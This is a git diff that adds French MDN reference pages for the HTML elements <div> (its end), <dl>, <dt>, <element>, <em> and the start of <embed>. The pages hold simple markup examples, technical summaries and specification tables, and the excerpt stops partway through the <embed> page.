+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis la dernière dérivation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>L'attribut <strong><code>align</code></strong> est désormais considéré obsolète.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.4', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.div")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les éléments dont la sémantique est liée au sectionnement du document :
+  <ul>
+   <li>{{HTMLElement("section")}}</li>
+   <li>{{HTMLElement("article")}}</li>
+   <li>{{HTMLElement("nav")}}</li>
+   <li>{{HTMLElement("header")}}</li>
+   <li>{{HTMLElement("footer")}}.</li>
+  </ul>
+ </li>
+ <li>{{HTMLElement("span")}} pour mettre en forme un contenu phrasé.</li>
+</ul>
diff --git a/files/fr/web/html/element/dl/index.html b/files/fr/web/html/element/dl/index.html
new file mode 100644
index 0000000000..44c315b040
--- /dev/null
+++ b/files/fr/web/html/element/dl/index.html
@@ -0,0 +1,199 @@
+---
+title: '<dl> : l''élément de liste de descriptions'
+slug: Web/HTML/Element/dl
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/dl
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;dl&gt;</code></strong> représente une liste de descriptions sous la forme d'une liste de paires associant des termes (fournis par des éléments {{HTMLElement("dt")}}) et leurs descriptions ou définitions (fournies par des éléments {{HTMLElement("dd")}}). On utilisera par exemple cet élément pour implémenter un glossaire.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dl.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Un_seul_terme_et_une_seule_définition">Un seul terme et une seule définition</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dd&gt;
+    Un navigateur Web libre, open-source, multi-plateforme
+    dévelopé par la Mozilla Corporation et des centaines de
+    volontaires.
+  &lt;/dd&gt;
+  &lt;!-- D'autres termes et leurs descriptions --&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Un_seul_terme_et_une_seule_définition","400","200")}}</p>
+
+<h3 id="Plusieurs_termes_avec_une_même_définition">Plusieurs termes avec une même définition</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dt&gt;Mozilla Firefox&lt;/dt&gt;
+  &lt;dt&gt;Fx&lt;/dt&gt;
+  &lt;dd&gt;
+    Un navigateur Web libre, open-source, multi-plateforme
+    dévelopé par la Mozilla Corporation et des centaines de
+    volontaires.
+  &lt;/dd&gt;
+  &lt;!-- D'autres termes et leurs définitions --&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Plusieurs_termes_avec_une_même_définition","400","200")}}</p>
+
+<h3 id="Un_seul_terme_avec_plusieurs_définitions">Un seul terme avec plusieurs définitions</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dd&gt;
+    Un navigateur Web libre, open-source, multi-plateforme
+    dévelopé par la Mozilla Corporation et des centaines de
+    volontaires.
+  &lt;/dd&gt;
+  &lt;dd&gt;
+    Le petit panda, panda roux, panda fuligineux ou panda
+    éclatant (<em>Ailurus fulgens</em>), est un mammifère originaire
+    de l'Himalaya et de la Chine méridionale.
+  &lt;/dd&gt;
+  &lt;!-- D'autres termes et leurs définitions --&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Un_seul_terme_avec_plusieurs_définitions","400","200")}}</p>
+
+<h3 id="Métadonnées">Métadonnées</h3>
+
+<p>Les listes de définitions sont utiles lorsqu'on souhaite afficher des métadonnées sous forme d'une liste de clés-valeurs.</p>
+
+<pre class="brush: html">&lt;dl&gt;
+    &lt;dt&gt;Name&lt;/dt&gt;
+    &lt;dd&gt;Godzilla&lt;/dd&gt;
+    &lt;dt&gt;Born&lt;/dt&gt;
+    &lt;dd&gt;1952&lt;/dd&gt;
+    &lt;dt&gt;Birthplace&lt;/dt&gt;
+    &lt;dd&gt;Japan&lt;/dd&gt;
+    &lt;dt&gt;Color&lt;/dt&gt;
+    &lt;dd&gt;Green&lt;/dd&gt;
+&lt;/dl&gt;</pre>
+
+<div class="note">
+<p><strong>Astuce :</strong> Il peut être pratique de définir un séparateur clé/valeur en CSS3, par exemple : dt:after {content: ": ";}.</p>
+</div>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cet élément ne doit pas être utilisé (de même que les éléments {{HTMLElement("ul")}}), dans le seul but de créer une indentation sur la page. Bien que cela fonctionne parfaitement, c'est une pratique déconseillée qui mêle mise en forme et sémantique. Cela modifie le rôle que doivent avoir les listes de définitions.</p>
+
+<p>Pour changer l'indentation de la définition d'un terme, il faut utiliser la propriété <a href="/fr/docs/Web/CSS">CSS</a> {{cssxref("margin")}}.</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les lecteurs d'écran annoncent <code>&lt;dl&gt;</code> de façon différente. Certains lecteurs d'écran tels que VoiceOver sur iOS n'annonceront pas le fait que le contenu de <code>&lt;dl&gt;</code> est une liste. Il faut donc s'assurer que la relation entre les éléments de la liste est bien communiquée grâce aux contenus des éléments.</p>
+
+<ul>
+ <li><a href="https://s.codepen.io/aardrian/debug/NzGaKP"><code>&lt;dt&gt;</code> et <code>&lt;dd&gt;</code> sur CodePen</a></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a> et, si les éléments enfants de <code>&lt;dl&gt;</code> incluent une paire avec un nom et une valeur, du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td>
+    <p>Zéro ou plusieurs groupes composés d'un ou plusieurs éléments {{HTMLElement("dt")}}, chacun suivi par un ou plusieurs éléments {{HTMLElement("dd")}} entre lesquels on pourra éventuellement avoir des éléments {{HTMLElement("script")}} et {{HTMLElement("template")}}.</p>
+
+    <p>Selon le WHATWG : un ou plusieurs éléments {{HTMLElement("div")}} éventuellement entrecoupés d'éléments {{HTMLElement("script")}} ou {{HTMLElement("template")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interface DOM</dfn></th>
+   <td>{{domxref("HTMLDListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dl-element', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dl-element', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.dl")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("dt")}}</li>
+ <li>{{HTMLElement("dd")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/dt/index.html b/files/fr/web/html/element/dt/index.html
new file mode 100644
index 0000000000..bf91a4d6e7
--- /dev/null
+++ b/files/fr/web/html/element/dt/index.html
@@ -0,0 +1,123 @@
+---
+title: '<dt> : l''élément pour le terme d''une description'
+slug: Web/HTML/Element/dt
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/dt
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;dt&gt;</code> </strong>identifie un terme dans une liste de définitions ou de descriptions. Cet élément n'apparaît qu'en tant qu'élément enfant d'un élément {{HTMLElement("dl")}} et est généralement suivi d'un élément {{HTMLElement("dd")}}.</p>
+
+<p>Cependant, on peut avoir plusieurs éléments <code>&lt;dt&gt;</code> à la suite qui indiquent que plusieurs termes seront définis par le même élément {{HTMLElement("dd")}} qui suivra.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dt.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>On peut employer <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> sur cet élément.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dd&gt;Un navigateur Web libre, open-source, multi-plateforme
+      dévelopé par la Mozilla Corporation et des centaines de
+      volontaires.&lt;/dd&gt;
+  &lt;dd&gt;Le petit panda, panda roux, panda fuligineux ou panda
+      éclatant (<em>Ailurus fulgens</em>), est un mammifère originaire
+      de l'Himalaya et de la Chine méridionale.&lt;/dd&gt;
+
+  &lt;!-- D'autres termes et leurs définitions/descriptions --&gt;
+&lt;/dl&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemples","400","200")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour d'autres exemples sur cet élément, on pourra consulter la page {{HTMLElement("dl")}}.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu" title="HTML/Content_categories">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux" title="HTML/Content_categories#Phrasing_content">Contenu de flux</a>, sans élément {{HTMLElement("header")}}, {{HTMLElement("footer")}}, sans contenu sectionnant et sans titre parmi les descendants.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Cet élément doit avoir une balise ouvrante. La balise de fin peut être omise si l'élément est immédiatement suivi par un autre élément <code>&lt;dd&gt;</code> ou par un élément <code>&lt;dt&gt;</code> ou s'il n'y a plus de contenu au sein de l'élément parent.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>L'élement doit être situé avant un élément {{HTMLElement("dt")}} ou {{HTMLElement("dd")}} et à l'intérieur d'un élément {{HTMLElement("dl")}}. Sinon (selon le WHATWG), au sein d'un élément {{HTMLElement("div")}} situé dans un élément {{HTMLElement("dl")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}} Jusqu'à Gecko 1.9.2 inclus (Firefox 4), Firefox implémentait l'interface <a href="/fr/docs/Web/API/HTMLSpanElement"><code>HTMLSpanElement</code></a> pour cet élément.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dt-element', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dt-element', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblité_des_navigateurs">Compatiblité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.dt")}}</p>
+
+<ul>
+ <li>Les autres éléments liés aux listes de définitions :
+  <ul>
+   <li>{{HTMLElement("dd")}}</li>
+   <li>{{HTMLElement("dl")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/element/index.html b/files/fr/web/html/element/element/index.html
new file mode 100644
index 0000000000..7b2a731677
--- /dev/null
+++ b/files/fr/web/html/element/element/index.html
@@ -0,0 +1,73 @@
+---
+title: '<element> : l''élément pour les éléments personnalisés (obsolète)'
+slug: Web/HTML/Element/element
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/element
+---
+<div>{{HTMLRef}}{{obsolete_header}}</div>
+
+<p>L'élément HTML <strong><code>&lt;element&gt;</code></strong> était conçu pour être utilisé afin de définir des éléments DOM personnalisés, il a été retiré de la spécification. Il a été retiré en faveur d'outils JavaScript qui permettront de créer de nouveaux éléments personnalisés, par exemple avec les Web Components.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Cet élément a été retiré de la spécification. Pour plus d'informations, se référer à cette <a href="https://lists.w3.org/Archives/Public/public-webapps/2013JulSep/0287.html">note</a>.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>On peut employer <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> sur cet élément.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu" title="HTML/Content_categories">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Modèle_de_contenu_transparent">Contenu transparent</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Indéfini.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Éléments parents autorisés</th>
+   <td>Indéfini.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cet élément faisait actuellement partie d'un brouillon de spécification, <em><a href="https://w3c.github.io/webcomponents/spec/custom/">Custom Elements</a></em> mais a été retiré.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.element")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les éléments HTML liés aux composants web (<em>web components</em>) :
+
+  <ul>
+   <li>{{HTMLElement("content")}}</li>
+   <li>{{HTMLElement("decorator")}}</li>
+   <li>{{HTMLElement("shadow")}}</li>
+   <li>{{HTMLElement("template")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/em/index.html b/files/fr/web/html/element/em/index.html
new file mode 100644
index 0000000000..fb1de31a08
--- /dev/null
+++ b/files/fr/web/html/element/em/index.html
@@ -0,0 +1,122 @@
+---
+title: '<em> : l''élément de mise en emphase'
+slug: Web/HTML/Element/em
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/em
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;em&gt;</code></strong> (pour emphase) est utilisé afin de marquer un texte sur lequel on veut insister. Les éléments <code>&lt;em&gt;</code> peuvent être imbriqués, chaque degré d'imbrication indiquant un degré d'insistance plus élevé.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/em.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les éléments HTML, cet élément prend en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'élément <code>&lt;em&gt;</code> est souvent utilisé pour indiquer un contraste, implicite ou explicite.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Dans HTML5, ce qui était appelé contenu de &lt;em&gt;type bloc&lt;/em&gt; est maintenant appelé contenu de &lt;em&gt;flux&lt;/em&gt;.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100")}}</p>
+
+<h2 id="Notes"><strong>Notes</strong></h2>
+
+<p>Habituellement, cet élément est affiché avec une police italique. Cependant, il ne doit pas être utilisé pour appliquer un style italique ; pour la mise en forme, on utilisera l'élément {{HTMLElement("i")}} ou des styles CSS. Pour marquer le titre d'une œuvre (livre, chanson, pièce, etc.), on utilisera l'élément {{HTMLElement("cite")}} ; il est aussi habituellement affiché avec une police italique, mais porte un sens différent. Enfin, on utilisera l'élément {{HTMLElement("strong")}} pour marquer un texte plus important que le texte qui l'entoure.</p>
+
+<h3 id="Italique_ou_mise_en_évidence">Italique ou mise en évidence ?</h3>
+
+<p>Pour les nouveaux développeurs, il est souvent perturbant d'avoir autant de façons différentes pour afficher du texte dans un site web. Parmi les ambiguïtés les plus répandues, l'italique et la mise en évidence ont une bonne place. Pourquoi utiliser <code>&lt;em&gt;&lt;/em&gt;</code> au lieu de <code>&lt;i&gt;&lt;/i&gt;</code> si ces deux éléments produisent à première vue le même résultat ?</p>
+
+<p>Eh bien ce n'est pas le même résultat : la mise en évidence porte un état logique, et l'italique est un état physique. Les états logiques séparent la mise en forme du contenu, et ainsi, peuvent être exprimés de façons très différentes, par exemple au lieu d'afficher un texte en italique, il pourrait être en rouge, ou dans une taille différente, ou surligné, ou même en gras. Il est plus logique de changer les propriétés de présentation de <code>&lt;em&gt;</code>, que celle de l'italique. L'italique est une mise en forme typographique ; il n'y a aucune séparation entre la présentation et le contenu (pour indiquer le titre d'une œuvre tel que le titre d'un film ou d'un livre, on utilisera plutôt l'élément {{HTMLElement("cite")}}).</p>
+
+<p>Par exemple, pour <code>&lt;em&gt;</code>, « Il suffit de le <em>faire</em> ! » ou « ça tient à <em>un</em> fil », une personne ou un logiciel pourrait traduire l'emphase par une mise en italique ou avec un autre mécanisme.</p>
+
+<p>Pour <code>&lt;i&gt;</code>, « Le <em>Charles de Gaulle</em> a appareillé le 15 novembre. » traduit bien la seule mise en forme. Il ne s'agit pas de mettre l'accent sur le nom du navire mais bien de respecter une règle typographique.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}.<br>
+    Jusqu'à Gecko 1.9.2 inclus (Firefox 4), Firefox implémentait l'interface {{domxref("HTMLSpanElement")}} pour cet élément.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-em-element', '&lt;em&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-em-element', '&lt;em&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;em&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.em")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("i")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/embed/index.html b/files/fr/web/html/element/embed/index.html
new file mode 100644
index 0000000000..7ad376450f
--- /dev/null
+++ b/files/fr/web/html/element/embed/index.html
@@ -0,0 +1,134 @@
+---
+title: '<embed> : l''élément de contenu externe embarqué'
+slug: Web/HTML/Element/embed
+tags:
+  - Element
+  - HTML
+  - Reference
+translation_of: Web/HTML/Element/embed
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;embed&gt;</code> </strong>représente un point d'intégration pour une application externe ou pour du contenu interactif (autrement dit, pour un <em>plug-in</em>).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/embed.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cet article ne traite que de l'élément faisant partie du HTML5. Il ne concerne pas la version précédente et non normalisée de cet élément.</p>
+</div>
+
+<p>Il faut garder à l'esprit que la plupart des navigateurs ont dépréciés voire retirer la prise en charge des plugins. Aussi, mieux vaut ne pas utiliser sur <code>&lt;embed&gt;</code> si on souhaite qu'un site ou une application soit fonctionnelle sur un navigateur moyen.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément possède <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>La hauteur utilisée pour l'affichage de la ressource, exprimée en pixels CSS (uniquement des valeurs absolues, les pourcentages ne sont pas autorisés).</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>L'URL de la ressource à intégrer.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Le type MIME à utiliser pour sélectionner le plug-in à instancier.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>La largeur utilisée pour l'affichage de la ressource, exprimée en pixels CSS (uniquement des valeurs absolues, les pourcentages ne sont pas autorisés).</dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Il est possible d'utiliser la propriété CSS {{cssxref("object-position")}} afin d'ajuster la position de l'objet embarqué au sein de la <em>frame</em> et la propriété CSS {{cssxref("object-fit")}} afin de contrôler la façon dont la taille de l'objet est ajustée par rapport à celle de la <em>frame</em>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;embed type="video/quicktime" src="film.mov" width="640" height="480"&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","650","490")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu" title="HTML/Content_categories">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux" title="HTML/Content categories#Flow content">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9" title="HTML/Content categories#Phrasing content">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_int%C3%A9gr%C3%A9">contenu intégré</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_interactif">contenu interactif</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, cet élément est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Cet élément doit avoir une balise ouvrante mais ne doit pas avoir de balise fermante.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
